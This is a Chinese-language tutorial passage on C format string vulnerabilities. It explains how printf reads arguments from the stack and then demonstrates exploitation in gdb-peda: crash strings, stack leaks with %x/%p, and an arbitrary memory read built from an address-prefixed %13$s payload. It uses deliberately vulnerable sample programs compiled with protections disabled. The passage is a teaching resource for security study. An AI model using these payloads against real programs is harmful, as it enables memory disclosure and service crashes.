3.1.1 格式化字符串漏洞

格式化输出函数和格式字符串

在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。

函数

  1. #include <stdio.h>
  2. int printf(const char *format, ...);
  3. int fprintf(FILE *stream, const char *format, ...);
  4. int dprintf(int fd, const char *format, ...);
  5. int sprintf(char *str, const char *format, ...);
  6. int snprintf(char *str, size_t size, const char *format, ...);

转换指示符

字符 类型 使用
d 4-byte Integer
u 4-byte Unsigned Integer
x 4-byte Hex
s 4-byte ptr String
c 1-byte Character

长度

字符 类型 使用
hh 1-byte char
h 2-byte short int
l 4-byte long int
ll 8-byte long long int

示例

  1. #include<stdio.h>
  2. #include<stdlib.h>
  3. void main() {
  4. char *format = "%s";
  5. char *arg1 = "Hello World!\n";
  6. printf(format, arg1);
  7. }
  1. printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001"
  2. printf("%.2f", 1.2345); // 1.23
  3. printf("%#010x", 3735928559); // 0xdeadbeef
  4. printf("%s%n", "01234", &n); // n = 5

格式化字符串漏洞基本原理

在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:

  1. #include<stdio.h>
  2. void main() {
  3. printf("%s %d %s", "Hello World!", 233, "\n");
  4. }
  1. gdb-peda$ disassemble main
  2. Dump of assembler code for function main:
  3. 0x0000053d <+0>: lea ecx,[esp+0x4]
  4. 0x00000541 <+4>: and esp,0xfffffff0
  5. 0x00000544 <+7>: push DWORD PTR [ecx-0x4]
  6. 0x00000547 <+10>: push ebp
  7. 0x00000548 <+11>: mov ebp,esp
  8. 0x0000054a <+13>: push ebx
  9. 0x0000054b <+14>: push ecx
  10. 0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>
  11. 0x00000551 <+20>: add eax,0x1aaf
  12. 0x00000556 <+25>: lea edx,[eax-0x19f0]
  13. 0x0000055c <+31>: push edx
  14. 0x0000055d <+32>: push 0xe9
  15. 0x00000562 <+37>: lea edx,[eax-0x19ee]
  16. 0x00000568 <+43>: push edx
  17. 0x00000569 <+44>: lea edx,[eax-0x19e1]
  18. 0x0000056f <+50>: push edx
  19. 0x00000570 <+51>: mov ebx,eax
  20. 0x00000572 <+53>: call 0x3d0 <printf@plt>
  21. 0x00000577 <+58>: add esp,0x10
  22. 0x0000057a <+61>: nop
  23. 0x0000057b <+62>: lea esp,[ebp-0x8]
  24. 0x0000057e <+65>: pop ecx
  25. 0x0000057f <+66>: pop ebx
  26. 0x00000580 <+67>: pop ebp
  27. 0x00000581 <+68>: lea esp,[ecx-0x4]
  28. 0x00000584 <+71>: ret
  29. End of assembler dump.
  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0x56557000 --> 0x1efc
  4. EBX: 0x56557000 --> 0x1efc
  5. ECX: 0xffffd250 --> 0x1
  6. EDX: 0x5655561f ("%s %d %s")
  7. ESI: 0xf7f95000 --> 0x1bbd90
  8. EDI: 0x0
  9. EBP: 0xffffd238 --> 0x0
  10. ESP: 0xffffd220 --> 0x5655561f ("%s %d %s")
  11. EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
  12. EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x56555569 <main+44>: lea edx,[eax-0x19e1]
  15. 0x5655556f <main+50>: push edx
  16. 0x56555570 <main+51>: mov ebx,eax
  17. => 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
  18. 0x56555577 <main+58>: add esp,0x10
  19. 0x5655557a <main+61>: nop
  20. 0x5655557b <main+62>: lea esp,[ebp-0x8]
  21. 0x5655557e <main+65>: pop ecx
  22. Guessed arguments:
  23. arg[0]: 0x5655561f ("%s %d %s")
  24. arg[1]: 0x56555612 ("Hello World!")
  25. arg[2]: 0xe9
  26. arg[3]: 0x56555610 --> 0x6548000a ('\n')
  27. [------------------------------------stack-------------------------------------]
  28. 0000| 0xffffd220 --> 0x5655561f ("%s %d %s")
  29. 0004| 0xffffd224 --> 0x56555612 ("Hello World!")
  30. 0008| 0xffffd228 --> 0xe9
  31. 0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
  32. 0016| 0xffffd230 --> 0xffffd250 --> 0x1
  33. 0020| 0xffffd234 --> 0x0
  34. 0024| 0xffffd238 --> 0x0
  35. 0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
  36. [------------------------------------------------------------------------------]
  37. Legend: code, data, rodata, value
  38. 0x56555572 in main ()
  1. gdb-peda$ r
  2. Continuing
  3. Hello World! 233
  4. [Inferior 1 (process 27416) exited with code 022]

根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 %,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:% d%d 是一样的)

接下来我们修改一下上面的程序,给格式字符串加上 %x %x %x %3$s,使它出现格式化字符串漏洞:

  1. #include<stdio.h>
  2. void main() {
  3. printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
  4. }

反汇编后的代码同上,没有任何区别。我们主要看一下参数传递:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0x56557000 --> 0x1efc
  4. EBX: 0x56557000 --> 0x1efc
  5. ECX: 0xffffd250 --> 0x1
  6. EDX: 0x5655561f ("%s %d %s %x %x %x %3$s")
  7. ESI: 0xf7f95000 --> 0x1bbd90
  8. EDI: 0x0
  9. EBP: 0xffffd238 --> 0x0
  10. ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
  11. EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
  12. EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x56555569 <main+44>: lea edx,[eax-0x19e1]
  15. 0x5655556f <main+50>: push edx
  16. 0x56555570 <main+51>: mov ebx,eax
  17. => 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
  18. 0x56555577 <main+58>: add esp,0x10
  19. 0x5655557a <main+61>: nop
  20. 0x5655557b <main+62>: lea esp,[ebp-0x8]
  21. 0x5655557e <main+65>: pop ecx
  22. Guessed arguments:
  23. arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s")
  24. arg[1]: 0x56555612 ("Hello World!")
  25. arg[2]: 0xe9
  26. arg[3]: 0x56555610 --> 0x6548000a ('\n')
  27. [------------------------------------stack-------------------------------------]
  28. 0000| 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
  29. 0004| 0xffffd224 --> 0x56555612 ("Hello World!")
  30. 0008| 0xffffd228 --> 0xe9
  31. 0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
  32. 0016| 0xffffd230 --> 0xffffd250 --> 0x1
  33. 0020| 0xffffd234 --> 0x0
  34. 0024| 0xffffd238 --> 0x0
  35. 0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
  36. [------------------------------------------------------------------------------]
  37. Legend: code, data, rodata, value
  38. 0x56555572 in main ()
  1. gdb-peda$ c
  2. Continuing.
  3. Hello World! 233
  4. ffffd250 0 0
  5. [Inferior 1 (process 27480) exited with code 041]

这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 %x 打印出了 0xffffd230~0xffffd238 栈内的数据,这些都不是我们输入的。而最后一个参数 %3$s 是对 0xffffd22c\n 的重用。

上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞:

  1. #include<stdio.h>
  2. void main() {
  3. char buf[50];
  4. if (fgets(buf, sizeof buf, stdin) == NULL)
  5. return;
  6. printf(buf);
  7. }
  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd1fa ("Hello %x %x %x !\n")
  4. EBX: 0x56557000 --> 0x1ef8
  5. ECX: 0xffffd1fa ("Hello %x %x %x !\n")
  6. EDX: 0xf7f9685c --> 0x0
  7. ESI: 0xf7f95000 --> 0x1bbd90
  8. EDI: 0x0
  9. EBP: 0xffffd238 --> 0x0
  10. ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
  11. EIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)
  12. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x56555623 <main+70>: sub esp,0xc
  15. 0x56555626 <main+73>: lea eax,[ebp-0x3e]
  16. 0x56555629 <main+76>: push eax
  17. => 0x5655562a <main+77>: call 0x56555450 <printf@plt>
  18. 0x5655562f <main+82>: add esp,0x10
  19. 0x56555632 <main+85>: jmp 0x56555635 <main+88>
  20. 0x56555634 <main+87>: nop
  21. 0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]
  22. Guessed arguments:
  23. arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
  24. [------------------------------------stack-------------------------------------]
  25. 0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
  26. 0004| 0xffffd1e4 --> 0x32 ('2')
  27. 0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288
  28. 0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)
  29. 0016| 0xffffd1f0 --> 0xffffffff
  30. 0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out")
  31. 0024| 0xffffd1f8 --> 0x65485ea0
  32. 0028| 0xffffd1fc ("llo %x %x %x !\n")
  33. [------------------------------------------------------------------------------]
  34. Legend: code, data, rodata, value
  35. 0x5655562a in main ()
  1. gdb-peda$ c
  2. Continuing.
  3. Hello 32 f7f95580 565555f4 !
  4. [Inferior 1 (process 28253) exited normally]

如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 buf 中输入一些转换指示符,则 printf() 会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 Hello %x %x %x !\n(其中 \nfgets() 函数给我们自动加上的),这时,程序就会输出栈内的数据。

我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:

  • 为什么可以通过编译?
    • 因为 printf() 函数的参数被定义为可变的。
    • 为了发现不匹配的情况,编译器需要理解 printf() 是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。
    • 有时格式字符串并不是固定的,它可能在程序执行中动态生成。
  • printf() 函数自己可以发现不匹配吗?
    • printf() 函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 printf() 是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。

格式化字符串漏洞利用

通过提供格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。

使程序崩溃

格式化字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。

利用类似下面的格式字符串即可触发漏洞:

  1. printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
  • 对于每一个 %sprintf() 都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。
  • 因为不可能获取的每一个数字都是地址,数字所对应的内存可能并不存在。
  • 还有可能获得的数字确实是一个地址,但是该地址是被保护的。

查看栈内容

使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 printf() 函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 printf() 调用时出现的顺序是一致的。

下面的演示我们都使用下面的源码

  1. #include<stdio.h>
  2. void main() {
  3. char format[128];
  4. int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
  5. char arg4[10] = "ABCD";
  6. scanf("%s", format);
  7. printf(format, arg1, arg2, arg3, arg4);
  8. printf("\n");
  9. }
  1. # echo 0 > /proc/sys/kernel/randomize_va_space
  2. $ gcc -m32 -fno-stack-protector -no-pie fmt.c

我们先输入 b main 设置断点,使用 n 往下执行,在 call 0x56555460 <__isoc99_scanf@plt> 处输入 %08x.%08x.%08x.%08x.%08x,然后使用 c 继续执行,即可输出结果。

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
  4. EBX: 0x56557000 --> 0x1efc
  5. ECX: 0x1
  6. EDX: 0xf7f9883c --> 0x0
  7. ESI: 0xf7f96e68 --> 0x1bad90
  8. EDI: 0x0
  9. EBP: 0xffffd618 --> 0x0
  10. ESP: 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
  11. EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
  12. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
  15. 0x5655563b <main+126>: lea eax,[ebp-0x94]
  16. 0x56555641 <main+132>: push eax
  17. => 0x56555642 <main+133>: call 0x56555430 <printf@plt>
  18. 0x56555647 <main+138>: add esp,0x20
  19. 0x5655564a <main+141>: sub esp,0xc
  20. 0x5655564d <main+144>: push 0xa
  21. 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
  22. Guessed arguments:
  23. arg[0]: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
  24. arg[1]: 0x1
  25. arg[2]: 0x88888888
  26. arg[3]: 0xffffffff
  27. arg[4]: 0xffffd57a ("ABCD")
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd550 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
  30. 0004| 0xffffd554 --> 0x1
  31. 0008| 0xffffd558 --> 0x88888888
  32. 0012| 0xffffd55c --> 0xffffffff
  33. 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
  34. 0020| 0xffffd564 --> 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
  35. 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
  36. 0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. 0x56555642 in main ()
  40. gdb-peda$ x/10x $esp
  41. 0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
  42. 0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
  43. 0xffffd570: 0xf7ffda54 0x00000001
  44. gdb-peda$ c
  45. Continuing.
  46. 00000001.88888888.ffffffff.ffffd57a.ffffd584

格式化字符串 0xffffd584 的地址出现在内存中的位置恰好位于参数 arg1arg2arg3arg4 之前。格式字符串 %08x.%08x.%08x.%08x.%08x 表示函数 printf() 从栈中取出 5 个参数并将它们以 8 位十六进制数的形式显示出来。格式化输出函数使用一个内部变量来标志下一个参数的位置。开始时,参数指针指向第一个参数(arg1)。随着每一个参数被相应的格式规范所耗用,参数指针的值也根据参数的长度不断递增。在显示完当前执行函数的剩余自动变量之后,printf() 将显示当前执行函数的栈帧(包括返回地址和参数等)。

当然也可以使用 %p.%p.%p.%p.%p 得到相似的结果。

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd584 ("%p.%p.%p.%p.%p")
  4. EBX: 0x56557000 --> 0x1efc
  5. ECX: 0x1
  6. EDX: 0xf7f9883c --> 0x0
  7. ESI: 0xf7f96e68 --> 0x1bad90
  8. EDI: 0x0
  9. EBP: 0xffffd618 --> 0x0
  10. ESP: 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
  11. EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
  12. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
  15. 0x5655563b <main+126>: lea eax,[ebp-0x94]
  16. 0x56555641 <main+132>: push eax
  17. => 0x56555642 <main+133>: call 0x56555430 <printf@plt>
  18. 0x56555647 <main+138>: add esp,0x20
  19. 0x5655564a <main+141>: sub esp,0xc
  20. 0x5655564d <main+144>: push 0xa
  21. 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
  22. Guessed arguments:
  23. arg[0]: 0xffffd584 ("%p.%p.%p.%p.%p")
  24. arg[1]: 0x1
  25. arg[2]: 0x88888888
  26. arg[3]: 0xffffffff
  27. arg[4]: 0xffffd57a ("ABCD")
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd550 --> 0xffffd584 ("%p.%p.%p.%p.%p")
  30. 0004| 0xffffd554 --> 0x1
  31. 0008| 0xffffd558 --> 0x88888888
  32. 0012| 0xffffd55c --> 0xffffffff
  33. 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
  34. 0020| 0xffffd564 --> 0xffffd584 ("%p.%p.%p.%p.%p")
  35. 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
  36. 0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. 0x56555642 in main ()
  40. gdb-peda$ c
  41. Continuing.
  42. 0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584

上面的方法都是依次获得栈中的参数,如果我们想要直接获得被指定的某个参数,则可以使用类似下面的格式字符串:

  1. %<arg#>$<format>
  2. %n$x

这里的 n 表示栈中格式字符串后面的第 n 个值。

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
  4. EBX: 0x56557000 --> 0x1efc
  5. ECX: 0x1
  6. EDX: 0xf7f9883c --> 0x0
  7. ESI: 0xf7f96e68 --> 0x1bad90
  8. EDI: 0x0
  9. EBP: 0xffffd618 --> 0x0
  10. ESP: 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
  11. EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
  12. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
  15. 0x5655563b <main+126>: lea eax,[ebp-0x94]
  16. 0x56555641 <main+132>: push eax
  17. => 0x56555642 <main+133>: call 0x56555430 <printf@plt>
  18. 0x56555647 <main+138>: add esp,0x20
  19. 0x5655564a <main+141>: sub esp,0xc
  20. 0x5655564d <main+144>: push 0xa
  21. 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
  22. Guessed arguments:
  23. arg[0]: 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
  24. arg[1]: 0x1
  25. arg[2]: 0x88888888
  26. arg[3]: 0xffffffff
  27. arg[4]: 0xffffd57a ("ABCD")
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd550 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
  30. 0004| 0xffffd554 --> 0x1
  31. 0008| 0xffffd558 --> 0x88888888
  32. 0012| 0xffffd55c --> 0xffffffff
  33. 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
  34. 0020| 0xffffd564 --> 0xffffd584 ("%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p")
  35. 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
  36. 0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. 0x56555642 in main ()
  40. gdb-peda$ x/10w $esp
  41. 0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
  42. 0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
  43. 0xffffd570: 0xf7ffda54 0x00000001
  44. gdb-peda$ c
  45. Continuing.
  46. ffffffff.00000001.0x88888888.0x88888888.0xffffd57a.0xffffd584.0x56555220

这里,格式字符串的地址为 0xffffd584。我们通过格式字符串 %3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p 分别获取了 arg3arg1、两个 arg2arg4 和栈上紧跟参数的两个值。可以看到这种方法非常强大,可以获得栈中任意的值。

查看任意地址的内存

攻击者可以使用一个“显示指定地址的内存”的格式规范来查看任意地址的内存。例如,使用 %s 显示参数 指针所指定的地址的内存,将它作为一个 ASCII 字符串处理,直到遇到一个空字符。如果攻击者能够操纵这个参数指针指向一个特定的地址,那么 %s 就会输出该位置的内存内容。

还是上面的程序,我们输入 %4$s,输出的 arg4 就变成了 ABCD 而不是地址 0xffffd57a

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. EAX: 0xffffd584 ("%4$s")
  4. EBX: 0x56557000 --> 0x1efc
  5. ECX: 0x1
  6. EDX: 0xf7f9883c --> 0x0
  7. ESI: 0xf7f96e68 --> 0x1bad90
  8. EDI: 0x0
  9. EBP: 0xffffd618 --> 0x0
  10. ESP: 0xffffd550 --> 0xffffd584 ("%4$s")
  11. EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
  12. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  13. [-------------------------------------code-------------------------------------]
  14. 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
  15. 0x5655563b <main+126>: lea eax,[ebp-0x94]
  16. 0x56555641 <main+132>: push eax
  17. => 0x56555642 <main+133>: call 0x56555430 <printf@plt>
  18. 0x56555647 <main+138>: add esp,0x20
  19. 0x5655564a <main+141>: sub esp,0xc
  20. 0x5655564d <main+144>: push 0xa
  21. 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
  22. Guessed arguments:
  23. arg[0]: 0xffffd584 ("%4$s")
  24. arg[1]: 0x1
  25. arg[2]: 0x88888888
  26. arg[3]: 0xffffffff
  27. arg[4]: 0xffffd57a ("ABCD")
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd550 --> 0xffffd584 ("%4$s")
  30. 0004| 0xffffd554 --> 0x1
  31. 0008| 0xffffd558 --> 0x88888888
  32. 0012| 0xffffd55c --> 0xffffffff
  33. 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
  34. 0020| 0xffffd564 --> 0xffffd584 ("%4$s")
  35. 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
  36. 0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
  37. [------------------------------------------------------------------------------]
  38. Legend: code, data, rodata, value
  39. 0x56555642 in main ()
  40. gdb-peda$ c
  41. Continuing.
  42. ABCD

上面的例子只能读取栈中已有的内容,如果我们想获取的是任意的地址的内容,就需要我们自己将地址写入到栈中。我们输入 AAAA.%p 这样的格式的字符串,观察一下栈有什么变化。

  1. gdb-peda$ python print("AAAA"+".%p"*20)
  2. AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
  3. ...
  4. gdb-peda$ n
  5. [----------------------------------registers-----------------------------------]
  6. EAX: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
  7. EBX: 0x56557000 --> 0x1efc
  8. ECX: 0x1
  9. EDX: 0xf7f9883c --> 0x0
  10. ESI: 0xf7f96e68 --> 0x1bad90
  11. EDI: 0x0
  12. EBP: 0xffffd618 --> 0x0
  13. ESP: 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
  14. EIP: 0x56555642 (<main+133>: call 0x56555430 <printf@plt>)
  15. EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
  16. [-------------------------------------code-------------------------------------]
  17. 0x56555638 <main+123>: push DWORD PTR [ebp-0xc]
  18. 0x5655563b <main+126>: lea eax,[ebp-0x94]
  19. 0x56555641 <main+132>: push eax
  20. => 0x56555642 <main+133>: call 0x56555430 <printf@plt>
  21. 0x56555647 <main+138>: add esp,0x20
  22. 0x5655564a <main+141>: sub esp,0xc
  23. 0x5655564d <main+144>: push 0xa
  24. 0x5655564f <main+146>: call 0x56555450 <putchar@plt>
  25. Guessed arguments:
  26. arg[0]: 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
  27. arg[1]: 0x1
  28. arg[2]: 0x88888888
  29. arg[3]: 0xffffffff
  30. arg[4]: 0xffffd57a ("ABCD")
  31. [------------------------------------stack-------------------------------------]
  32. 0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
  33. 0004| 0xffffd554 --> 0x1
  34. 0008| 0xffffd558 --> 0x88888888
  35. 0012| 0xffffd55c --> 0xffffffff
  36. 0016| 0xffffd560 --> 0xffffd57a ("ABCD")
  37. 0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
  38. 0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
  39. 0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
  40. [------------------------------------------------------------------------------]
  41. Legend: code, data, rodata, value
  42. 0x56555642 in main ()

格式字符串的地址在 0xffffd584,从下面的输出中可以看到它们在栈中是怎样排布的:

  1. gdb-peda$ x/20w $esp
  2. 0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
  3. 0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
  4. 0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
  5. 0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025
  6. 0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70
  7. gdb-peda$ x/20wb 0xffffd584
  8. 0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e
  9. 0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70
  10. 0xffffd594: 0x2e 0x25 0x70 0x2e
  11. gdb-peda$ python print('\x2e\x25\x70')
  12. .%p

下面是程序运行的结果:

  1. gdb-peda$ c
  2. Continuing.
  3. AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e

0x41414141 是输出的第 13 个字符,所以我们使用 %13$s 即可读出 0x41414141 处的内容,当然,这里可能是一个不合法的地址。下面我们把 0x41414141 换成我们需要的合法的地址,比如字符串 ABCD 的地址 0xffffd57a

  1. $ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
  2. $ gdb -q a.out
  3. Reading symbols from a.out...(no debugging symbols found)...done.
  4. gdb-peda$ b printf
  5. Breakpoint 1 at 0x8048350
  6. gdb-peda$ r < text
  7. [----------------------------------registers-----------------------------------]
  8. EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
  9. EBX: 0x804a000 --> 0x8049f14 --> 0x1
  10. ECX: 0x1
  11. EDX: 0xf7f9883c --> 0x0
  12. ESI: 0xf7f96e68 --> 0x1bad90
  13. EDI: 0x0
  14. EBP: 0xffffd618 --> 0x0
  15. ESP: 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
  16. EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
  17. EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
  18. [-------------------------------------code-------------------------------------]
  19. 0xf7e27c1b <fprintf+27>: ret
  20. 0xf7e27c1c: xchg ax,ax
  21. 0xf7e27c1e: xchg ax,ax
  22. => 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
  23. 0xf7e27c25 <printf+5>: add eax,0x16f243
  24. 0xf7e27c2a <printf+10>: sub esp,0xc
  25. 0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
  26. 0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
  27. No argument
  28. [------------------------------------stack-------------------------------------]
  29. 0000| 0xffffd54c --> 0x8048520 (<main+138>: add esp,0x20)
  30. 0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD")
  31. 0008| 0xffffd554 --> 0x1
  32. 0012| 0xffffd558 --> 0x88888888
  33. 0016| 0xffffd55c --> 0xffffffff
  34. 0020| 0xffffd560 --> 0xffffd57a ("ABCD")
  35. 0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD")
